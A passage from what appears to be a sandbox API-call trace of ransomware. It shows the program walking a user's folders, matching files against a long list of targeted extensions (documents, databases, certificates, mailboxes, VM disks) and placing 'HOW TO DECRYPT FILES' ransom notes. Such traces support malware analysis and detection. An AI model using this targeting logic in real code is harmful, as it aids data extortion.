(lpString="*.doc") returned 5 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.dot") returned 0 [0091.401] lstrlenA (lpString="*.dot") returned 5 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.docx") returned 0 [0091.401] lstrlenA (lpString="*.docx") returned 6 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.7z") returned 0 [0091.401] lstrlenA (lpString="*.7z") returned 4 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.tar") returned 0 [0091.402] lstrlenA (lpString="*.tar") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.bz2") returned 0 [0091.402] lstrlenA (lpString="*.bz2") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.gz") returned 0 [0091.402] lstrlenA (lpString="*.gz") returned 4 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mkv") returned 0 [0091.402] lstrlenA (lpString="*.mkv") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.eml") returned 0 [0091.402] lstrlenA (lpString="*.eml") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.msg") returned 0 [0091.402] lstrlenA (lpString="*.msg") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.edb") returned 0 [0091.402] lstrlenA (lpString="*.edb") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.accdb") returned 0 [0091.402] lstrlenA (lpString="*.accdb") returned 7 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.odb") returned 0 [0091.402] lstrlenA (lpString="*.odb") returned 5 [0091.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.java") returned 0 [0091.402] lstrlenA (lpString="*.java") returned 6 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.asm") returned 0 [0091.403] lstrlenA (lpString="*.asm") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.pfx") returned 0 [0091.403] lstrlenA (lpString="*.pfx") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.pem") returned 0 [0091.403] lstrlenA (lpString="*.pem") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.p12") returned 0 [0091.403] lstrlenA (lpString="*.p12") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.gpg") returned 0 [0091.403] lstrlenA (lpString="*.gpg") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.vsd") returned 0 [0091.403] lstrlenA (lpString="*.vsd") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.odg") returned 0 [0091.403] lstrlenA (lpString="*.odg") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.raw") returned 0 [0091.403] lstrlenA (lpString="*.raw") returned 5 [0091.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.nef") returned 0 [0091.404] lstrlenA (lpString="*.nef") returned 5 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.svg") returned 0 [0091.404] lstrlenA (lpString="*.svg") returned 5 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.psd") returned 0 [0091.404] lstrlenA (lpString="*.psd") returned 5 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.vmx") returned 0 [0091.404] lstrlenA (lpString="*.vmx") returned 5 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.vmdk") returned 0 [0091.404] lstrlenA (lpString="*.vmdk") returned 6 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.vdi") returned 0 [0091.404] lstrlenA (lpString="*.vdi") returned 5 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.lay6") returned 0 [0091.404] lstrlenA (lpString="*.lay6") returned 6 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mpeg") returned 0 [0091.404] lstrlenA (lpString="*.mpeg") returned 6 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.djvu") returned 0 [0091.404] lstrlenA (lpString="*.djvu") returned 6 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.tiff") returned 0 [0091.404] lstrlenA (lpString="*.tiff") returned 6 [0091.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.backup") returned 0 [0091.404] lstrlenA (lpString="*.backup") returned 8 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.pdf") returned 0 [0091.405] lstrlenA (lpString="*.pdf") returned 5 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.cert") returned 0 [0091.405] lstrlenA (lpString="*.cert") returned 6 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.docm") returned 0 [0091.405] lstrlenA (lpString="*.docm") returned 6 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.xlsm") returned 0 [0091.405] lstrlenA (lpString="*.xlsm") returned 6 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.dwg") returned 0 [0091.405] lstrlenA (lpString="*.dwg") returned 5 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.nd") returned 0 [0091.405] lstrlenA (lpString="*.nd") returned 4 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.tlg") returned 0 [0091.405] lstrlenA (lpString="*.tlg") returned 5 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.lgb") returned 0 [0091.405] lstrlenA (lpString="*.lgb") returned 5 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mov") returned 0 [0091.405] lstrlenA (lpString="*.mov") returned 5 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.xdw") returned 0 [0091.405] lstrlenA (lpString="*.xdw") returned 5 [0091.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.ods") returned 0 [0091.405] lstrlenA (lpString="*.ods") returned 5 [0091.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.wav") returned 0 [0091.406] lstrlenA (lpString="*.wav") returned 5 [0091.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mp3") returned 0 [0091.406] lstrlenA (lpString="*.mp3") returned 5 [0091.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.aiff") returned 0 [0091.406] lstrlenA (lpString="*.aiff") returned 6 [0091.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.flac") returned 0 [0091.406] lstrlenA (lpString="*.flac") returned 6 [0091.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.m4a") returned 0 [0091.406] lstrlenA (lpString="*.m4a") returned 5 [0091.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.csv") returned 0 [0091.406] lstrlenA (lpString="*.csv") returned 5 [0091.406] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2af7d0, ftCreationTime.dwHighDateTime=0x1d5daa4, ftLastAccessTime.dwLowDateTime=0x53ab4950, ftLastAccessTime.dwHighDateTime=0x1d5e43d, ftLastWriteTime.dwLowDateTime=0x53ab4950, ftLastWriteTime.dwHighDateTime=0x1d5e43d, nFileSizeHigh=0x0, nFileSizeLow=0x126b5, dwReserved0=0x17000314, dwReserved1=0x4e00c4, cFileName="xssw2DT1p4gT.flv", cAlternateFileName="XSSW2D~1.FLV")) returned 0 [0091.406] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0091.406] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360b5f00, ftCreationTime.dwHighDateTime=0x1d5dc10, ftLastAccessTime.dwLowDateTime=0xda398a30, ftLastAccessTime.dwHighDateTime=0x1d5de58, ftLastWriteTime.dwLowDateTime=0xda398a30, ftLastWriteTime.dwHighDateTime=0x1d5de58, nFileSizeHigh=0x0, nFileSizeLow=0xe952, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="l 5B.avi", cAlternateFileName="L5B~1.AVI")) returned 1 [0091.407] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0091.407] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="l 5B.avi") returned -1 [0091.407] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="l 5B.avi") returned -1 [0091.407] lstrcmpiA (lpString1="", lpString2="l 5B.avi") returned -1 [0091.407] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\*.*") returned="*.*" [0091.407] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" [0091.407] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\") returned="" [0091.407] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" [0091.407] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\how to decrypt files.txt")) returned 0x20 [0091.407] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="l 5B.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi" [0091.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.ems") returned 0 [0091.407] lstrlenA (lpString="*.ems") returned 5 [0091.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.db") returned 0 [0091.407] lstrlenA (lpString="*.db") returned 4 [0091.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.dbf") returned 0 [0091.407] lstrlenA (lpString="*.dbf") returned 5 [0091.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.myox") returned 0 [0091.408] lstrlenA (lpString="*.myox") returned 6 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.myo") returned 0 [0091.408] lstrlenA (lpString="*.myo") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qbw") returned 0 [0091.408] lstrlenA (lpString="*.qbw") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qbb") returned 0 [0091.408] lstrlenA (lpString="*.qbb") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qbm") returned 0 [0091.408] lstrlenA (lpString="*.qbm") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qbo") returned 0 [0091.408] lstrlenA (lpString="*.qbo") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qbx") returned 0 [0091.408] lstrlenA (lpString="*.qbx") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qba") returned 0 [0091.408] lstrlenA (lpString="*.qba") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qby") returned 0 [0091.408] lstrlenA (lpString="*.qby") returned 5 [0091.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qbj") returned 0 [0091.409] lstrlenA (lpString="*.qbj") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.ofx") returned 0 [0091.409] lstrlenA (lpString="*.ofx") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.qif") returned 0 [0091.409] lstrlenA (lpString="*.qif") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mye") returned 0 [0091.409] lstrlenA (lpString="*.mye") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mbox") returned 0 [0091.409] lstrlenA (lpString="*.mbox") returned 6 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.eml") returned 0 [0091.409] lstrlenA (lpString="*.eml") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.pst") returned 0 [0091.409] lstrlenA (lpString="*.pst") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.ost") returned 0 [0091.409] lstrlenA (lpString="*.ost") returned 5 [0091.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.idx") returned 0 [0091.409] lstrlenA (lpString="*.idx") returned 5 